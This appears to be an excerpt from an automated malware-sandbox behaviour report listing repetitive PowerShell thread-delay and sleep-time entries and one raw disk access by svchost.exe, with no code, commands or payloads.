Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590016	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589903	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589797	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589682	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589576	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589468	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589361	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589234	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589120	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588891	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588781	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588672	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588548	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588422	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588094	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587984	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587875	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587756	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587599	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587464	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587279	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587151	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587030	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590938
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590610
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590235
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590110
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589983
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589757
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589515
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589404
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589293
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589184
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588969
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588413
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588297
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588188
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588063
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587938
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587813
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587688
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587551
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587405
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587279
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587151
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587030
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590923
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590609
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590248
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590015
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589905
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589797
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589677
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589420
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589310
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589203
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588968
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588413
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588203
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588094
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587598
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587464
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587279
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587151
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587020
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6223	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3582	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9041	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 406	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8035	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1633	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7052
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2581
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 911
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7523
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7648
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1816
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7707
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1816

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6220	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2504	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8408	Thread sleep count: 9041 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8568	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8404	Thread sleep count: 406 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8724	Thread sleep count: 8035 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8696	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -591126s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8712	Thread sleep count: 1633 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -590924s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -590770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -590645s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -590360s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -590250s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -590125s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -590016s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589903s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589797s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589682s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589576s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589468s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589361s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589234s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589120s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -589015s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588891s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588781s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588672s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588548s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588422s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588312s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588203s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -588094s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587984s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587875s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587756s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587599s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587464s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587279s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587151s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -587030s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8520	Thread sleep count: 7052 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep count: 34 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8860	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8520	Thread sleep count: 2581 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -590938s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -590770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -590610s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -590360s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -590235s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -590110s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589983s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589875s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589757s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589641s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589515s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589404s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589184s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -589077s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588969s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588859s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588749s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588639s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588531s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588413s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588297s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588188s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -588063s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587938s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587813s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587688s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587551s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587405s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587279s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587151s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5756	Thread sleep time: -587030s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8528	Thread sleep count: 8770 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep count: 38 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -35048813740048126s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8856	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8612	Thread sleep count: 911 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -591125s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -590923s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -590770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -590609s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -590360s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -590248s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -590125s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -590015s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589905s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589797s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589677s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589552s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589420s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589310s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589203s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -589077s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588968s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588859s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588749s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588639s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588531s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588413s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588312s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588203s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -588094s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587984s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587875s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587756s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587598s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587464s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587279s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587151s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -587020s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120	Thread sleep count: 7523 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8100	Thread sleep count: 1904 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9268	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9524	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8112	Thread sleep count: 7648 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9260	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep count: 1816 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9464	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep count: 7707 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9252	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160	Thread sleep count: 1816 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9484	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591126	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590924	Jump to behavior
